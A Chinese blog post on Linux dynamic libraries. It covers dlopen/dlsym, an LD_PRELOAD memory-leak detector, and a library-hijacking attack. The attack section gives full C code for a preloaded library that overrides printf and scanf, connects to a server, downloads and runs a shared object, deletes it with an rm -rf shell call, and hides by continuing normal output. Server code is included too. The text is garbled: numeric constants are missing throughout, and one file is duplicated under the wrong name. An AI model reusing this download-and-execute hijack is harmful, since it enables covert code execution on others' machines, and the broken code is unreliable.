• 如何使用动态链接库

Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数

    //参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄
void *dlopen(const char *filename, int flag);

2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数

   //参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址
void *dlsym(void *handle, const char *symbol);

3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数

   int dlclose(void *handle);

Linux下编写第一个动态链接库hello.so

 #include <stdio.h>

 void *hello(void *input) {
printf("hello from a .so\n");
return NULL;
}

hello.c

编译命令:

  gcc -shared -fPIC hello.c -o hello.so
  -shared 指定生成共享库
-fPIC 指定生成位置无关代码

动态加载hello.so的过程如下

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h> typedef void *(*FUNC)(void *); void load_and_invoke(char *libname, char *funcname) { FUNC func = NULL;
char *error = NULL;
void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(EXIT_FAILURE);
} dlerror(); *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 if((error = dlerror()) != NULL){
fprintf(stderr,"%s\n",error);
exit(EXIT_FAILURE);
} func(NULL); //执行函数 dlclose(handle); //卸载链接库
exit(EXIT_FAILURE);
} int main(int argc, char **argv) { load_and_invoke("./hello.so", "hello");
}

main.c

编译命令:

gcc main.c -o main -ldl

运行:

  • 应用一 内存泄漏检测

动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

libmem.c

libmem.c中调用了记录内存分配回收信息的辅助函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

hash.cpp

把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order

为了测试,我们编写了一个存在内存泄漏的程序

memleak.c

编译与运行:

  • 应用二 dll劫持漏洞

与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。

下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。

劫持GLIBC的printf与scanf的代码

 #include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h> static void (*sys_vprintf)(const char *format,...) = NULL;
static int (*sys_vscanf)(const char *format,...) = NULL;
static int count = ; #define MAXLINE 4096 static void init(void){
sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf");
if(sys_vprintf == NULL){
exit(EXIT_FAILURE);
} sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf");
if(sys_vscanf == NULL){
exit(EXIT_FAILURE);
}
} static void deinit(void){
;
} #define FILE_NAME "libexploit_download.so"
#define FUNC_NAME "exploit" //执行从服务器下载的代码
void load_and_exec(char *libname,char *funcname){ void *handle = dlopen(libname,RTLD_LAZY);
if(!handle){
return;
} void (*func)(void);
*(void ** )(&func) = dlsym(handle,funcname); if(func == NULL){
return;
} func(); dlclose(handle);
} //删除下载的代码
void remove(char *filename){
char buff[MAXLINE];
strcpy(buff,"rm -rf ");
strcat(buff,filename);
system(buff);
} //恶意程序客户端从服务器下载恶意代码并执行
static void client(){
int sockfd,n;
char buff[MAXLINE + ];
struct sockaddr_in servaddr; if((sockfd = socket(AF_INET,SOCK_STREAM,)) < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
char *serv_addr = "127.0.0.1"; //服务器地址
char *serv_port = ""; //服务器端口
servaddr.sin_port = htons(atoi(serv_port));
if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= ){
return;
} if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < ){
return;
} write(sockfd,"start",strlen("start")); int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR);
if(fd == -){
return;
} int nRead;
while((nRead = read(sockfd,buff,MAXLINE)) != ){
write(fd,buff,nRead);
}
close(fd);
close(sockfd); load_and_exec(FILE_NAME,FUNC_NAME); remove(FILE_NAME);
exit();
} void printf(const char *fmt,...){
if(sys_vprintf == NULL){
init();
} client(); //恶意代码开始执行与服务器通信 char buff[MAXLINE]; va_list vl;
va_start(vl,fmt);
sys_vprintf(fmt,vl);
va_end(vl);
} int scanf(const char *fmt,...){
if(sys_vscanf == NULL){
init();
} client(); va_list vl;
va_start(vl,fmt);
int cnt = sys_vscanf(fmt,vl);
va_end(vl);
return cnt;
}

libio.c

被攻击的代码示例

 #include <stdio.h>

 #define MAXLINE 4096

 int
main()
{
char buff[MAXLINE]; while(scanf("%s",buff) != ){
printf("you've typed : %s\n",buff);
}
}

target.c

编译过程:

服务器端代码server.c

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h> #define MAXLINE 4096
#define LISTENQ 1024 void serve(int port,char *filename) { int listenfd,connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
char outBuff[MAXLINE]; listenfd = socket(AF_INET,SOCK_STREAM,);
if(listenfd < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < ){
return;
} if((listen(listenfd,LISTENQ)) < ){
return;
} for(;;){
if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < ){
continue;
} int n = read(connfd,buff,MAXLINE);
buff[n] = '\0'; if(strcmp(buff,"start") == ){
printf("ready...\n");
FILE *fp = fopen(filename,"r");
if(fp == NULL){
fprintf(stderr,"file open error\n");
} while((n = fread(buff,,MAXLINE,fp)) != ){
if(write(connfd,buff,n) != n){
fprintf(stderr,"write error\n");
}
}
} if(close(connfd) == -){
return;
}
exit();
} } int main(int argc, char **argv) { int port = ;
char *filename = "./libexploit.so"; serve(port,filename); exit();
}

server.c

真正执行攻击的代码:

 #include <stdio.h>
#include <string.h> void exploit() {
const char* msg = "you have been hacked\n";
fwrite(msg, sizeof(char), strlen(msg), stdout);
}

libexploit.c

编译服务端代码:

最后效果:

Linux 动态链接库 - dll劫持的更多相关文章

  1. Linux 动态链接库

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  2. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  3. dll劫持技术

    DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...

  4. 动态链接库dll,导入库lib,静态链接库lib

    目前以lib后缀的库有两种,一种为静态链接库(Static Libary,以下简称“静态库”),另一种为动态连接库(DLL,以下简称“动态库”)的导入库(Import Libary,以下简称“导入库” ...

  5. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  6. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

  7. 36.浅谈DLL劫持

    最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...

  8. 可执行Jar包调用动态链接库(DLL/SO)

    踩过了很多的坑,查了很多资料,在此记录一下,以SpringBoot项目为基础. Maven加入JNA依赖 <!-- JNA start --> <dependency> < ...

  9. DLL劫持技术例子: HijackDll

    控制台程序:DllLoader Dll加载器,用于动态加载目标Dll,并动态调用目标函数 #include <cstdio> #include <windows.h> type ...

随机推荐

  1. PO、POJO、BO、DTO、VO之间的区别(转)

    PO:persistent object持久对象 1 .有时也被称为Data对象,对应数据库中的entity,可以简单认为一个PO对应数据库中的一条记录. 2 .在hibernate持久化框架中与in ...

  2. Spring HATEOAS的简单认识

    HATEOAS: 超媒体作为应用程序状态引擎(HATEOAS)是REST应用程序体系结构的一个组件,它将其与其他网络应用程序体系结构区分开来. 使用HATEOAS,客户端与网络应用程序交互,其应用程序 ...

  3. centos 安装python3与Python2并存,并解决"smtplib" object has no attribute 'SMTP_SSL'的错误

    1.需要先安装python3依赖的包yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readli ...

  4. Bigger-Mai 养成计划,Python基础巩固四

    一.装饰器:定义:本质是函数,(装饰其他函数)就是为其他函数添加附加功能.原则:1.不能修改被装饰的函数的源代码 2.不能修改被装饰函数的调用方式实现装饰器的知识储备:1.函数即‘变量’2.高阶函数 ...

  5. 271. 杨老师的照相排列【线性DP】

    杨老师希望给他的班级拍一张合照. 学生们将站成左端对齐的多排,靠后的排站的人数不能少于靠前的排. 例如,12名学生(从后向前)可以排列成每排5,3,3,1人,如下所示: X X X X X X X X ...

  6. selenium python 中浏览器操作

    1.启用浏览器 browser = webdriver.Chrome()               谷歌浏览器 browser = webdriver.Firefox()              ...

  7. wireshark基础学习—第三部分wireshark的过滤器语法

    我们都知道,wireshark可以实现本地抓包,同时Wireshark也支持remote packet capture protocol(rpcapd)协议远程抓包,只要在远程主机上安装相应的rpca ...

  8. C++第二章复习与总结(思维导图分享)

    在完成了第二章的学习后,为了便于日后的复习整理,我制作了一张思维导图,有需要的可以自取. 基本数据类型 基础类型在cppreference网站上有非常完备的介绍,我一句话两句话也说不清,具体网址我会给 ...

  9. R-画图

    1.par(mar=c(8,5.2,8,5.2),new=TRUE,cex=1.5,mfrow=c(2,2))   (参考:http://blog.sina.com.cn/s/blog_6caea8b ...

  10. 关于AMD 、CMD、 commonjs的认识

    首先什么是amd.cmd和commonjs.总的来说,这三个玩意就是js的模块规范. 但是,这三者有什么区别呢.... amd规范是应用于浏览器,如requireJS. commonjs规范应用与服务 ...